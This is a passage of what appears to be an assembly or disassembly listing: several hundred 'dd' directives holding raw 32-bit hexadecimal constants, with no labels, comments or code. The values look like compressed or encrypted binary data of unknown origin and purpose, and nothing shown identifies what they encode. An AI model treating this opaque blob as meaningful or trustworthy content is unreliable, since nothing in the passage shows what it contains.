0C30AF383h, 6A3DC032h, 0BBD01860h dd 18F851B0h, 0BD5085F0h, 80F01508h, 1E10A544h, 0FDC52Ah dd 9424725Bh, 64A0CA45h, 0AC3EF38Eh, 924F77ADh, 0C4003C1Fh dd 0EC29DE20h, 53231C4Fh, 0DB588B42h, 83893680h, 310025ADh dd 57B2ABDCh, 360321h, 9F465D93h, 4BC64CB8h, 7C60B160h dd 0A330AC6Bh, 7003C594h, 6767F47h, 3C1A2428h, 843C20D1h dd 0E95798C1h, 0FE0A29h, 829FB33Fh, 8567919Bh, 0F16F9A74h dd 3FEA4721h, 93DFD270h, 0D3FE0045h, 0B66B3A5Ah, 0DC0C0F96h dd 0A1BB86C1h, 0BF5C1908h, 0C048B83Dh, 1A606B94h, 0A9406D11h dd 9017004Eh, 302FDE9Fh, 59000775h, 46D5C0B2h, 552CBFFh dd 6F69BD18h, 0DDF00ACh, 0DA7E89EDh, 3CB20800h, 4EBDE964h dd 0FD50003Bh, 8DB70BA8h, 0AE008C93h, 0E5AC0AFFh, 431ED5h dd 6DF6BD11h, 7A099D7h, 2FFE3Ah, 0DF0F5F20h, 345F528h dd 4073F483h, 0F680B5C4h, 64007959h, 6A8AC2A9h, 33604DFh dd 0CF6EBD89h, 0F46051C9h, 0DE5D1BB2h, 0CB8008Ch, 0C63E7B8Dh dd 300032D2h, 261049F1h, 7562C329h, 9B4002Bh, 0AB288050h dd 920020BBh, 4E7F4A43h, 3A19136h, 0D8E275AAh, 5588699Bh dd 77616E52h, 0A065DD18h, 0EC0A20BCh, 18CCBCh, 629DB944h dd 200099FFh, 3E0A9372h, 523D0Bh, 0FB06C49Eh, 5B275D85h dd 0BFBDE200h, 0E1022E5Ah, 3EF601F3h, 0DD872C2h, 5610E87Bh dd 0CE8014A7h, 0C97DF295h, 0A188C0B2h, 0F7BA39ACh, 9E2AE400h dd 0F60EEE97h, 55D3011Fh, 0F4A5D7FCh, 85A98164h, 0E924A017h dd 6327FBC8h, 7636184Bh, 0DC9A2100h, 6C34E20Fh, 7AF50051h dd 9F73D149h, 0E126D433h, 0E9006AFBh, 0F0D864ACh, 0E5723A0Ah dd 0D59E5D0Eh, 1365E120h, 1E03F90Eh, 0E747D6FCh, 0A5A90CA1h dd 486966ECh, 0FCA4D555h, 4915C239h, 5B44EC9h, 630AEE4Dh dd 4F5224C1h, 59DFC0EBh dd 0E19200C9h, 8C95FDD9h, 0B0003CD6h, 22602A82h, 0E17DAFBh dd 0A8F874F2h, 0CFD84D80h, 0A5E477CEh, 3C61EE28h, 1CBA1F22h dd 406B92A2h, 0E2976360h, 11E61B4h, 0BB0CE4E0h, 98A710DFh dd 621E2AFh, 19C8054Bh, 0EC6F084Ch, 0E04FEF21h, 512DD58Ah dd 217EE7h, 2AC6C36h, 28DBD73Eh, 81C7E800h, 8761B006h dd 0BB33001Eh, 3D0F44D4h, 0B8000D6Eh, 2586ACA2h, 3AEAACAh dd 627917BAh, 0C9F024D8h, 0B100E750h, 9F3B1901h, 148642D2h dd 54EAE01Ch, 3A343580h, 871B21h, 0DB34FD7Dh, 0D90131A3h dd 0A1CA24E2h, 218CBC4Eh, 5CA10D82h, 29C84900h, 0BDDBCAC2h dd 0A0F41908h, 7001288Ah, 5E00E3E4h, 65CC02F7h, 0E420DC23h dd 4EF42Fh, 0EE0CFAEh, 578371B5h, 0CA3B0301h, 0BFE51CEDh dd 0DF876880h, 7CDDC0Bh, 0A4EC3D00h, 0E355EE9Ch, 0C3B6016Dh dd 0D4DB5E61h, 8199BF98h, 9B1B8B19h, 86D199AEh, 0B78A188Ch dd 10C71C1Ah, 85856554h, 1513007h, 5BFD69D0h, 0BFD10019h dd 0B237212Ch, 0AE033D89h, 0D8BD6244h, 0F54071B6h, 3AD69FCh dd 5188E2BAh, 693BCDE9h, 0F8A480C1h, 8EBAE42h, 87C669Bh dd 0B40068F7h, 0D4A4645Bh, 999E01h, 81A3633Dh, 0A28DB5BAh dd 0BDB60801h, 873B27D0h, 3D81880h, 0FCAB4E0h, 2DB80B54h dd 3591921Fh, 0AD470CC5h, 54C7CDC3h, 8CD54881h, 0FF343604h dd 91622321h, 34FE7E20h, 3F94EA81h, 9526A4CEh, 80E0399Dh dd 18B6D55h, 2A9898C1h, 1B00A0F7h, 2360EB15h, 1AB13918h dd 0B67306Ch, 75749C10h, 0DCED4E07h, 5F6053A0h, 98369BA2h dd 3F900059h, 59718322h, 0A57DB45Dh, 0D466AF00h, 6CCE08EAh dd 2A4A039Eh, 9AFF9339h, 0F47726E0h, 3A133D1Dh, 7132AC07h dd 0A50780FFh, 5989E9h, 26772B54h, 4D95F169h, 17F9BF00h dd 9BB34BD2h, 0ADBE00F5h, 29A9EA81h, 6C0F8BD6h, 0AA53B111h dd 0C17D046Bh, 838A654Ah, 13466E10h, 0C7EDE0B0h, 274400C6h dd 5EDA0EB3h, 0AC00C96Ah, 6EB6B9EEh, 0C345FB1h, 0FAD3EC69h dd 0D940DA29h, 0BA580166h, 0AA393FD5h, 20AE884h, 56642700h dd 2623D11Eh, 0E9B20151h, 7AB9382Dh, 0B6DFF8AAh, 0A80006E0h dd 9E30F5C9h, 32B21Dh, 8C758369h, 7FA35A71h, 0F7FD9303h dd 88A5D99Ah, 0F8763E5h, 85A0A78Bh, 0A3764C20h, 70003C5Eh dd 8906D22Ch, 3892C243h, 200537Bh, 504C47B7h, 0D9005ACEh dd 24E66FFCh, 928B98h, 0E47BB669h, 0BA834D75h, 6FE949C0h dd 0E539AAh, 534199B9h, 0A5C72F6Dh, 0C6CB4500h, 67DCDD90h dd 22EED5h, 835D770Ch, 0D1B82D18h, 4309E402h, 60D5BF1Eh dd 0C1DFB6h, 0F3EEB81h, 7221856h, 7C96DB03h, 0B0C3ED30h dd 39F315h, 2C57913Fh, 0F47B09B0h, 0EC006D70h, 1E0E276Eh dd 126355EFh, 1D1A2C89h, 3164875Dh, 0BEDB302Dh, 8F000DCEh dd 42D39E61h, 58DA688Bh, 3C002F90h, 3E6BB58Ah, 4A0057A1h dd 131F1AE3h, 7C715EB8h, 0B374FCh, 7DC418C3h, 8EB02B61h dd 0FA454700h, 8DAD0AFEh, 7CAE27Ah, 0AA7CB73Ch, 8EE0DE44h dd 0A5E82DBAh, 76CEA203h, 0DBA8C11Eh, 0BB48002Eh, 620D6591h dd 0B6009457h, 72D70C9Fh, 23D841h, 0D01F6C38h, 0C41B5D98h dd 0AFF07C01h, 8FEC778h, 1C5441FAh, 611B3F0h, 0B2A7A2Bh dd 0FE03581Ah, 0C56D194Eh, 6120C0EDh, 0B4820071h, 69378C3Ch dd 0D70073DEh, 542EBCBEh, 0E2C0407Dh, 0ECCA006Dh, 5867381Ah dd 78003E2Ah, 0B8FF01F9h, 7D7F00Dh, 0F804ABA7h, 57AE10E3h dd 909088A6h, 0FE3C2F00h, 0C11DEEEFh, 0E6FE2Ah, 6C0B42A5h dd 34BB86FFh, 9E7D3000h, 87AAFE8Ch, 8B120104h, 4FC7B993h dd 0BD92CCE2h, 3200DEEAh, 69473709h, 593EAEBh, 3B0DE145h dd 0C80C80F5h, 9E001CC9h, 1972A190h, 0A4F6FAh, 2F46C761h dd 9583059Ah, 64592100h, 2667A6B0h, 0C45F6D7h, 93D5BDAAh dd 3B0121B0h, 49BA82F1h, 0A080992Bh, 0DD86241Dh, 1001033h dd 0B8F63A1Bh, 540452A5h, 7179640Ch, 0BCC95269h, 0B8A5A707h dd 0C59FF06Bh, 4A14BB4Dh, 0C1E854CAh, 0FB57FC32h, 4DC2B5D0h dd 2B0030A6h, 43EF1D38h, 5001753Ah, 77948D54h, 1ECCCA19h dd 58B400A3h, 300E6081h, 840A8021h, 0D8C39CD0h, 98B7528Ah dd 1D206B80h, 713D6FA3h, 769FACBh, 39CDF55Fh, 1B18429Dh dd 0B8B8D843h, 34EDA24Eh, 5DF69870h, 0E4A78500h, 117C2715h dd 0BDE824C1h, 402894h, 561D1267h, 0B76D9CE2h, 17873500h dd 703B249Bh, 382F0733h, 80BD1F65h, 71CE1C8Bh, 0F9457A00h dd 0E335C6C5h, 0FCC40309h, 5E49F08h, 1200897Eh, 1032B811h dd 0F9C9C0h, 84070199h, 1533B686h, 8375D501h, 0D31EBCBFh dd 10C4D050h, 0FECDFAFEh, 3C09070Ch, 0D0551D39h, 0B8912F22h dd 0A2DAF900h, 2578F58Ch, 0A4A90E07h, 0E00AAFC9h, 3DA089FCh dd 658F5400h, 98E01499h, 0CD55FC2Ch, 0A0603E12h, 9A5E21ECh dd 6E800A74h, 50B8A901h, 7B58311Fh, 55161D91h, 0CDBBD00h dd 0D18F22h, 7CBF7AF4h, 0C59B4C5Fh, 6B338D0Ah, 5E00BC54h dd 0C902EEBBh, 538B1839h, 6438E08Ah, 811D9000h, 0C4793549h dd 37DFA50h, 4C71015Fh, 96D1FF7Bh, 870DD197h, 842D7F28h dd 0D88F24B0h, 7A341A52h, 0CEC3E8F4h, 0B8A01E8Ah, 905042F7h dd 2A033DE4h, 0BCFCD827h, 185C98C8h, 9B4500F2h, 0ECD94108h dd 9D051FAEh, 399EC16Ah, 0DBD238C0h, 0BA71015Ah, 94CECD42h dd 208ED96Eh, 4C004444h, 0FFCC9004h, 6959Ch, 0EDFDE009h dd 7CBD9894h, 3A4B6C04h, 98800BE5h, 5CFB807h, 4EC31A57h dd 37DC0026h, 61F35055h, 73067B00h, 0F428A1F8h, 64EB0017h dd 1AD811Eh, 0BD540B27h, 88E4DCE8h, 883B1480h, 48021B03h dd 0FC90804h, 87D4699Fh, 3CD18C41h, 0A43B44Ch, 481F9F93h dd 0DEBD40A8h, 0EF03A3D7h, 7C8868A7h, 76A2DF05h, 0A5D88456h dd 0E4805D30h, 90B29924h, 0A3810880h, 54E0EBF0h, 0C0B81Dh dd 0A0B341ABh, 5986077Fh, 4AA12F0Ch, 0FAED809Ah, 0C37A2638h dd 31A78228h, 0CCE12DEh, 0AD7FEB73h, 1C851609h, 48A81AFAh dd 342F04Ch, 0DA04F32Ch, 0D18BD829h, 80005D8Bh, 248AC3EAh dd 7924BDEh, 6B6773B0h, 35DD1159h, 955BC0A8h, 0B3573600h dd 7606BB75h, 6F541E4Fh, 7B91C0E3h, 41853556h, 511A341Eh dd 0B4689E00h, 0C0BD13CAh, 1B36711h, 5012E52h, 0AA5ADE8Fh dd 0A074C5C6h, 0A4D24CAEh, 6F4D7C0Ch, 927145F9h, 233C3E00h dd 787A0637h, 58050070h, 0A931C404h, 0D023495h, 0D8A0E726h dd 2C404047h, 0E48B038Dh, 9B4ECCA1h, 0D34085D0h, 0ED005CEEh dd 0DF3E6FD0h, 0F6BAF6Dh, 1675B1B3h, 63C2C620h, 0F2096061h dd 750F36B7h, 549D1481h, 0AE2D203Bh, 9FDCE800h, 3CA9CDEDh dd 10E20042h, 0F8591371h, 8C3D47DEh, 0FC0909CEh, 0D898818Eh dd 0AEE73F74h, 8A111428h, 0EC2686DBh, 64D0750h, 22FA326Dh dd 5B240C40h, 0E741ED00h, 0F7F463ABh, 855806D7h, 508FF2B0h dd 4D4E5F03h, 0FAFE6A3Fh, 8E94652Dh, 4320A3D8h, 249CEE6Dh dd 0BDA058E0h, 40CE2A6h, 283D12C2h, 909FC7Dh, 0A1595FA0h dd 0C4196040h, 0A64C748h, 9D39E152h, 900733Dh, 1C04B018h dd 3596B1h, 6D859FA6h, 944BD981h, 0AA478D01h, 7C1E87B9h dd 160F4E8h, 18254E86h, 3012623Dh, 0A501B2D4h, 77D446B0h dd 9425E953h, 4851E1F4h, 0CD266C3Ch, 9866000Dh, 0D3BC7C3h dd 16C0AA49h, 0AC12B989h, 1872B870h, 0B098BEh, 0AA386D0Eh dd 0AD0CBFB2h, 80E54A3Fh dd 82805722h, 9A94954Fh, 694B00CCh, 0C3AFAB74h, 14B86D0Ah dd 0B0A7BD2Ch, 0E9382787h, 0CE60BE80h, 0F46B48F8h, 6912C10Bh dd 0E813B002h, 0B7D59848h, 4500F5EEh, 274DEF3Fh, 3FE428B8h dd 412C4823h, 0F2E90068h, 0C5333212h, 5D0176B8h, 0C462A2A3h dd 7836F7AEh, 4021791Eh, 0A2E090CEh, 0F80069EAh, 7E2C782h dd 71BB87h, 2DF6FDCAh, 360C46FCh, 0DC9764B1h, 72D91C31h dd 0BCD4AC57h, 440040C7h, 5231F8ECh, 994C6001h, 46483A07h dd 4CA0E9AFh, 64753782h, 85121118h, 1270D29h, 8DB6EF9Ah dd 20453F5Fh, 8400910Ch, 0BFD6295h, 172AF7A8h, 8C59EF5h dd 185AA3F0h, 349213Ch, 6620BA37h, 6390DEBFh, 2B017AAFh dd 682F9522h, 0CA40F02Ah, 589C70A3h, 8180A0DDh, 593C36AEh dd 0DFFA0C00h, 0DCE93ECCh, 0BF6F01A7h, 0B881A367h, 7410201Bh dd 0A08B3624h, 39A8B300h, 494680h, 1C2F09EDh, 75315B2Eh dd 9016A400h, 5CB5D69Bh, 0F50318E8h, 0E72540D2h, 7827BC3Fh dd 5F0311E0h, 0B99D10BAh, 404DB37Eh, 0AFC5D1h, 75D9CEE9h dd 0F1543337h, 0D62A3FE6h, 931CAC80h, 0A140F5D5h, 462B66BEh dd 0F8BF5CBBh, 44C20B00h, 0D7BAD125h, 0D638DF01h, 6B46F587h dd 703DE0h, 0B43A6F23h, 0C077DDB5h, 0CD6C4C00h, 0C84DE1F6h dd 0F4CF038Bh, 0A4ABD796h, 9C686ECAh, 789240C1h, 88B0872Ah dd 81A8913Ch, 0AFBD83E7h, 0A4240905h, 179C923Ah, 5F3119CAh dd 6FD39Ch, 5A423028h, 0B900F3E6h, 0C44EAEBAh, 982BCF32h dd 0E37500CCh, 2F5B9E03h, 1E05A8F7h, 2CB20E5Eh, 9CB767C0h dd 47F8004Ch, 58A6D7AEh, 0C2162707h, 0A3008889h, 4D1FEF3Dh dd 0A0202D5h, 6607EC68h, 0F4DEC441h, 0F4E04708h, 0F42B4Ch dd 0E9990489h, 463CF5h, 1DD3C5E4h, 0F6B8FDF1h, 62296400h dd 6DCF18A4h, 0BCB2263Ah, 355480E0h, 0F14E6FEAh, 535B6C0Fh dd 20DF6B04h, 750B5D34h, 91380046h, 0F35CDC89h, 0D500558Fh dd 0DACA98A4h, 1D9E47D4h, 81C3B196h, 6BFA9A23h, 0D03225h dd 0AE57D7DCh, 94F8D5h, 5D0D6E48h, 716F151Ah, 80D0E93Dh dd 0D6D9BAE0h, 1694F4Bh, 0FBD8F378h, 0B88D5A48h, 0C791E29h dd 679A9947h, 0B8809E24h, 44D053h, 58776FC3h, 24F55A4Dh dd 7C66A000h, 0DFEDBF63h, 9DF00036h, 9B09CF90h, 8A01E8B8h dd 0B4982131h, 6C749795h, 884AEACBh, 0C300F0F1h, 0A151BB79h dd 0E43E2FA6h, 0E6162EC7h, 19EA0053h, 0FE854F9h, 9F3EEE98h dd 4E451F10h, 0CF001D52h, 8DF83F3Bh, 8BEC34h, 0F1B26484h dd 0D939C07Bh, 0E4765D03h, 26105E9h, 0AEB32820h, 0CB80FD9Eh dd 3C218570h, 9005178h, 0FF63C662h, 0F1B0C8D3h, 1C12F8h dd 9281AA37h, 5E9D4FBBh, 6718300Eh, 8AD4A0B6h, 38B4F9h dd 0C7661342h, 2A856043h, 6265EB00h, 710E8ED3h, 516302BCh dd 0B35A36EFh, 2B828868h, 3324B2F4h, 4A1F0C06h, 811B8C00h dd 6E4501h, 5D0C1247h, 0E5E31A25h, 2CFEB400h, 31EBD1FBh dd 9A050084h, 4617EADCh, 4F000D82h, 5A71F4E2h, 1084347h dd 515E7CB7h, 0D5F3B9C0h, 0D1BCD4DBh, 5A951701h, 93546B87h dd 80A3843Fh, 0E51094D4h, 4052AE03h, 0F3A5F2BEh, 0CFB698DFh dd 0DFCF6h, 0C3E48225h, 41234AA0h, 0A320D11Fh, 11B87642h dd 66246109h, 0E0B1FCh, 0B6CECDADh, 0FF2F12A3h, 7775B5ECh dd 75E71005h, 87B06348h, 0B073BEFh, 0B471A4h, 0EEE3FB1Ah dd 790B903Bh, 40E57DA5h, 3EF7C11Ch, 239AFFAh, 7898280h dd 0E1DB2CFh, 0B4B75D00h, 7CEDF5B9h, 13CB0162h, 8ADF818h dd 0B440DE21h, 8C002717h, 4A9CF53Bh, 268B738h, 43FD8AF6h dd 0BCE0EBDCh, 0A3071021h, 305790BAh, 6CC0F457h, 1D50D847h dd 0CDAEC2h, 35FB9E4Fh, 822C9581h, 8600B026h, 1842DDC7h dd 4C6302CDh, 0C8FFE172h, 0E8F45061h, 75001D9Bh, 0FC080647h dd 35BDF5h, 6470976Dh, 6ABAC0B9h, 1BE60090h, 38031898h dd 3406294h, 0C773F995h, 0EC90E8h, 55C32BF1h, 0D3AA389h dd 8EBDA23Fh, 0C2F723h, 0EE3B839Ch, 129F828h, 6AFB0CB2h dd 806C5953h, 803AAD58h, 0C89A01h, 573E845Ah, 26A4403Ch dd 0FB68D600h, 0EEDDF1DAh, 5B580BF0h, 1780B577h, 0CE40E11h dd 0F400027Ch, 0C27AED30h, 2608B2F7h, 364053h, 61D6C877h dd 8E13E5C3h, 0ECC0CC3Dh, 12ABC47Eh, 0A33289h, 6D34DE1Bh dd 0B05967Bh, 151316F8h, 9EBFC4C0h, 2E810E71h, 6B4BFCABh dd 60B3E207h, 5053B8CAh, 0F142C400h, 0DC0B1980h, 5AA10246h dd 0B0182773h, 479C94E0h, 1CBA9F06h, 163E4D14h, 3817AC6h dd 0F8384EFCh, 997811C3h, 9E00C878h, 0BB5F685Eh, 329277Dh dd 9469B9D2h, 201D50F1h, 0EB036031h, 67F59FABh, 835F5849h dd 791617A9h, 19068403h, 185E08h, 0EF7FF75Bh, 10CE4FE1h dd 3293400h, 0F39BFDDDh, 141D3C4Ch, 328B0A02h, 94A1C813h dd 80B42B10h, 0D7406B50h, 57C0FA9h, 5E25ACAFh, 0A814005Fh dd 0C2A08B26h, 274C0F02h, 0C0999F71h, 5B6B915h, 0F2E5E458h dd 50C0206Bh, 0F00010A0h, 74713045h, 0B03FDB13h, 0E7D11E80h dd 0A7D2016Ah, 0E06B93C1h, 960663D5h, 0C3D9EC1Bh, 8CC6771h dd 0C534D0F5h, 9D7DD3CFh, 0ED00B377h, 0E717E18Eh, 1C6F5EB8h dd 80A32513h, 71E47731h, 72006037h, 7C1E1B44h, 613267h dd 0C67DF459h, 0DE935C7h, 0ECD91200h, 0FFAD2641h, 0EBE70E57h dd 74C0E666h, 4F9D52Bh, 81BC000h, 61240D93h, 9F7D0C9Dh dd 0E69965A8h, 6884B400h, 3A37D7CBh, 67C00570h, 42B28E13h dd 3822D8A8h, 0B97588A0h, 0A94B6EE4h, 0DF063000h, 3B112D08h dd 378044F2h, 0EC4BF994h, 0D90060C5h, 6E964682h, 487197h dd 694EA26Ch, 3CBD5C20h, 0C8C76A00h, 9FFED92Fh, 24B37DF3h dd 0A67B77h, 100EFFB9h, 0AF1EBA26h, 0D9009F65h, 0FE130BDDh dd 67A70019h, 0D112D8CBh, 5BFAE94Fh, 0DB032B74h, 43E03615h dd 18C48879h, 32100025h, 1C78169Fh, 77E41117h, 8D261203h dd 0A706CE94h, 6B5D00CFh, 37E35B0Eh, 0F720AF60h, 8E153088h dd 160D501Ch, 381D201Eh, 1AEB2E0h, 78F049D0h, 8C977539h dd 30168009h, 0D0651FD2h, 614E8007h, 8AAD9866h, 11FB1714h dd 11D2328h, 0EFBAD0ADh, 0DD000E70h, 2653D064h, 0CC00D51Dh dd 21911104h, 160870B5h, 937B86h, 99E79B74h, 39C07E17h dd 2103665Bh, 0FA4600F6h, 2226949Eh, 7B582BEAh, 75A826E2h dd 3D8A281Eh, 26018486h, 0D33A46E5h, 7A8DA040h, 0EE4E00A7h dd 75F4D5F7h, 1C64EF8Bh, 2D409030h, 6AE56B1h, 0A8EDB0Ch dd 605F090Bh, 494D2019h, 4F0F9856h, 80D29EACh, 8F8C81BDh dd 0EBAF068Ah, 0B89AE11Ah, 0D984E07h, 5D704F49h, 6D2AE9Ch dd 0B4F51E15h, 284678A6h, 645DA702h, 27310B06h, 5DBC5710h dd 0E3C73Ah, 0D9054478h, 0C56A774h, 630745A9h, 98008D49h dd 9DBC3991h, 6BB60h, 1E08FCE5h, 0CD5D3F3Ch, 59169707h dd 304D8E65h, 0D540FCh, 0D89D984Bh, 292E0F99h, 17675EE8h dd 0D470E920h, 0F7EA12h, 9DDD9F93h, 0FD46A641h, 6B8E080Bh dd 1B80006Fh, 994CBAh, 1D3F5E1Ch, 0B8D4F5BDh, 276E1A00h dd 6192F78Dh, 4890FEh, 785E2EBh, 0ACE19996h, 2D5AD02h dd 4815235Bh, 0E6890958h, 20B55364h, 60112A84h, 0A7E3F5BBh dd 606044ACh, 3FEEF948h, 0B1BAFBFDh, 3C7FE380h, 0F633BEFEh dd 3EBF5900h, 4BC0692Dh, 0C43A0584h, 0B1339C2h, 5F8012F8h dd 20971199h, 778C092h dd 0DEF281C0h, 0AC63E5h, 0A09F971Bh, 1A115277h, 0B019D728h dd 0A1EAEB00h, 8F8D257h, 0D921020Bh, 5A2E7CF2h, 0BF12D848h dd 81849F39h, 0FC91FAE5h, 0FC220E6Eh, 71EB111Dh, 701F4F29h dd 50AE8C08h, 0A7C80F00h, 8146D0CAh, 9FB806A0h, 91763013h dd 8AF8B155h, 0B4515040h, 0FE40607h, 226698D0h, 0ED2C1AA1h dd 0FCA229D4h, 611824E9h, 0F0B608D0h, 316F3A10h, 0D058D900h dd 5DE287C4h, 5E869500h, 7561ED23h, 0E4DCA5F2h, 800F6016h dd 120474AFh, 91BF5E4h, 1CAAD00Ch, 535D0994h, 0ED2F0C00h dd 0D8AEB03Eh, 9CAA14E4h, 16948800h, 8C916633h, 21D57A80h dd 862A4DF7h, 0DB5944h, 4996D423h, 0A394EC30h, 28841354h dd 0C8B31F00h, 5C887881h, 608A736Fh, 9CEDB81Eh, 2FF2D9A8h dd 29FCEB53h, 297980F0h, 506F818h, 8D0CE59Ah, 0F943A39h dd 0AAC8968h, 4C17F0h, 0C262E48Fh, 0ED4CF99Bh, 94550644h dd 1211884h, 31D34329h, 0F04C6BADh, 2491C25Ah, 927A1205h dd 9BD4AC00h, 7CF74870h, 0D6163A8Ch, 62250880h, 5F98075Dh dd 0C5F61200h, 463A5902h, 0EBC42E2Ch, 40E118DEh, 0D200EAA3h dd 7D133810h, 13CF02D4h, 4554023h, 0C8217818h, 6A002BF8h dd 7CF67711h, 0AB7605h, 20723E56h, 0A85B8F36h, 0F5655F00h dd 6EA4E79h, 8640777h, 0E71A9D5Ch, 1CBE4FF0h, 90DD55CFh dd 1D68321Dh, 1F2C033Ch, 45A0A55Eh, 0DC0BA779h, 24A93F1h dd 6C0FB0h, 0D865312h, 0E7904C9Bh, 49F5861h, 1AA7009Ah dd 0A0809A8Ah, 27D1FA0h, 67811330h, 90653EA6h, 0BD1E1902h dd 23209C9Eh, 5C1C7E10h, 2AA87140h, 98B75BA5h, 0EAA00AE4h dd 3CA41725h, 4174CA19h, 850DF0F7h, 0BC12A207h, 90E91E8Dh dd 44BC624h, 9AF41CEh, 592CC0E4h, 3F5475EAh, 0D3004890h dd 9ABE68C2h, 195D67E0h, 58903A1Ah, 0D205C969h, 19D5B201h dd 0CF2161BFh, 3FC20CBEh, 0CCA059AFh, 6661F409h, 0A5CD1E1Fh dd 2298C345h, 4040B425h, 0EC6B9DF5h, 0B09EB83Fh, 5E731670h dd 41340140h, 0A4DD630Ch, 0E7113C18h, 10D0479Fh, 0D37008EFh dd 1FD0037Ah, 88B44E70h, 23E0F4B8h, 9F5848D8h, 4088D414h dd 76856F03h, 0EA90CC5Dh, 1103CD52h, 1DE502C0h, 0BFABF85Ah dd 14963E39h, 61C19C00h, 9401A28Fh, 2BC33B00h, 3E6B3563h dd 48FC0Ch, 7DEBAEFBh, 0C0B47ABCh, 0C91ADB00h, 0DE6647E9h dd 6BFB38C6h, 21175381h, 70A5F4FCh, 0E300643Eh, 0D426C50h dd 0A8C646h, 3CB7C5EDh, 0C974495Bh, 8455AF1Eh, 0BE05F6C0h dd 7E8BB2h, 2C57CDC8h, 63479C31h, 1D38E300h, 0ED19B1E6h dd 56F21CC4h, 5FFEB0D2h, 0E174685Ah, 36C68700h, 1958C996h dd 67160C75h, 0E8084D1Bh, 82A121C0h, 0C7CC1C9h, 960D9F60h dd 3C001218h, 2641F644h, 0A4FFD5h, 59B10EE5h, 488C7B11h dd 58C41900h, 21447CC8h, 30AD7ED2h, 2740C68Ah, 7500DA30h dd 0D39A2BFh, 0E8323ABDh, 3621C092h, 0F3351F58h, 22646A00h dd 0CE43DBF6h, 9C91040Ch, 803A8C61h, 137F8765h, 96A85767h dd 0E885BC21h, 0EA79208Ch, 0E700F9C1h, 836C841Fh, 41956B8h dd 0DD124DAEh, 7B17C1C3h, 5F419944h, 0D819A8A8h, 0BF10861Fh dd 90C8322Ah, 1F413580h, 1C751E3Bh, 0C03E89D6h, 666957A2h dd 1C18D0ABh, 4890ED40h, 9C5A1493h, 0C20688CBh, 28A9BC6Dh dd 763EC880h, 105B8330h, 9F0119h, 9E3CBC97h, 0D64A29FBh dd 0B632340Fh, 0D180DDD0h, 865D2D77h, 8AC80026h, 689B2C59h dd 6738F562h, 43280B7h, 9007990Ch, 0F8A703D1h, 0F7954415h dd 0CF9F51A0h, 7A41C71Dh, 0D5DF8E47h, 883F34D3h, 30807ECh dd 51539457h, 0DD80FFCEh, 0ABFAC8BFh, 0A48DAD00h, 31A94D40h dd 0C7D739E1h, 0B2A57B80h, 0C23C440Ch, 2FB90100h, 0AFD2C13Bh dd 962900C5h, 5108030Fh, 0F201D1EBh, 487A1661h, 0E4D4972Dh dd 74A7383h, 4391D839h, 298C2009h, 1900E21Bh, 696727F7h dd 3D264ECCh, 1A00700Eh, 0C8B2AB15h, 740E4CE8h, 1825D3DFh dd 7EC2F118h, 0F00C980Dh, 18E53010h, 7BB7A18h, 90008A7Bh dd 0AFAE5D94h, 1654C91h, 80A77C13h, 0ECBFA924h, 5C0359C2h dd 0CD92F650h, 0E01ACB65h, 7A1F7367h, 0EE110DD6h, 20887920h dd 61C22E3Ah, 8E1B0A98h, 0C1806618h, 3181336h, 1C131F87h dd 0CA86DC64h, 404CF111h, 0FD0DF428h, 2AFA370Ah, 191C905Fh dd 15C9A358h, 43F0EF7h, 983D97F6h, 2D548126h, 0BF223539h dd 0A67680B7h, 0CD6D2720h, 1F8F84Fh, 6938FA67h, 7091F70Fh dd 87EA3F49h, 5C4E1800h, 0D15D6ACEh, 2E93001Ah, 7299EA36h dd 0CDEE32C5h, 0D9540514h, 0E68A03C1h, 0E8E4683Dh, 0F61CC4D1h dd 0B00700F5h, 796C40CBh, 287FE947h, 600F637Fh, 43F35D38h dd 0C9D45B70h, 81EFD001h, 10805C6Fh, 6C2E5665h, 0C00EF76h dd 53E362CCh, 3C5D3230h, 96A6B572h, 8AFC005Ah, 13618D77h dd 87EBB00h, 9DB33AF8h, 3F4EF011h, 0A1BC458Ch, 0DE97B780h dd 0D3920633h, 0C5480261h, 0D8C016F6h, 0C6FEC1h, 0C279847Ch dd 15E8FE32h, 4B69200h, 93591E49h, 3730306Ah, 0E0416B38h dd 58DA2E00h, 51F97A3Fh, 3E5FED8h, 23667811h, 44847CB7h dd 0C5404E41h, 0CE7110BDh, 6F0BB414h, 0A0DD02A4h, 0A0B9EF3Bh dd 4BEAD5ACh, 5E76003Dh, 0FB05FDFh, 0FF01D41Bh, 0E78D4FBBh dd 33D91FF8h, 3BEFB440h, 1C50071h, 0BD009E8h, 2F07601Ch dd 0F3F09B4Dh, 9E237921h, 7701E5ECh, 0E95A03Dh, 48D90C58h dd 9D188889h, 38DA4F1Ch, 0F70091D2h, 0BACEB72h, 2CF40719h dd 80F074FFh, 2BFDC7E7h, 23F7C32Ch, 16854803h, 5072B1E5h dd 0C96A3D0h, 9D4F8C28h, 6F3A3818h, 7F619769h, 8002E00Fh dd 88CEB719h, 4E5B1274h, 0F13200AFh, 3EE014BFh, 18698330h dd 3E289888h, 0E4001CCCh, 60995E91h, 191FB6EEh, 7559D806h dd 25F4CD28h, 247F03BCh, 0B31D9EFBh, 0AE651877h, 46019D9h dd 11C5C3h, 35C47877h, 0FF61ACEFh, 9C2AD13Eh, 0D7817163h dd 4EAA9422h, 74AA30h, 0ABFDFCD9h, 5CEB7F39h, 30F2E733h dd 7783E0C5h, 60980095h, 5D39E2AAh, 4A0301E1h, 12CE4009h dd 285DED14h, 19C85C0Ch, 6EC0A1E5h, 39FDEE10h, 0DDA9A26Fh dd 6002340Ah, 0A38CFB60h, 663E2C5h, 0AAD76275h, 883B5898h dd 88D0A008h, 7E9A90h, 2AA6F602h, 429889ACh, 4D7379C1h dd 7C48F49Dh, 8EE5485h, 79A3608Fh, 0F65CF03Dh, 1184F1D0h dd 0AC097E1Eh, 827335Fh, 0D761E045h, 48A1998Ch, 9C401ACCh dd 5D49C3DAh, 979B9F78h, 9663800h, 0C181F624h, 109503ADh dd 0FE07176Eh, 0B296A903h, 5C3EF0h, 1EEDAF31h, 7142891Fh dd 61D82B3Bh, 0AAE1D59h, 89383981h, 0D3C2FCB4h, 50CD1181h dd 0E281E9CCh, 58A9DB60h, 2F07F99h, 62C5CDD9h, 0BCA05159h dd 0AE7081F3h, 0C4111660h, 40A8CE63h, 0B8C31038h, 3353493h dd 437BC510h, 181C9467h, 864AD7F5h, 0DC203492h, 4AC15960h dd 3B88ACC8h, 3F155CF4h, 4867A08Fh, 930D8015h, 10C00474h dd 0B3D039BAh, 424F40D1h, 90925937h, 4E6D2C50h, 1D5D3C4Ch dd 4434DC05h, 9D84037Fh, 0F5B050FFh, 4B0057E7h, 5C81F956h dd 126BAE96h, 4A5AEE0Dh, 0F9407A34h, 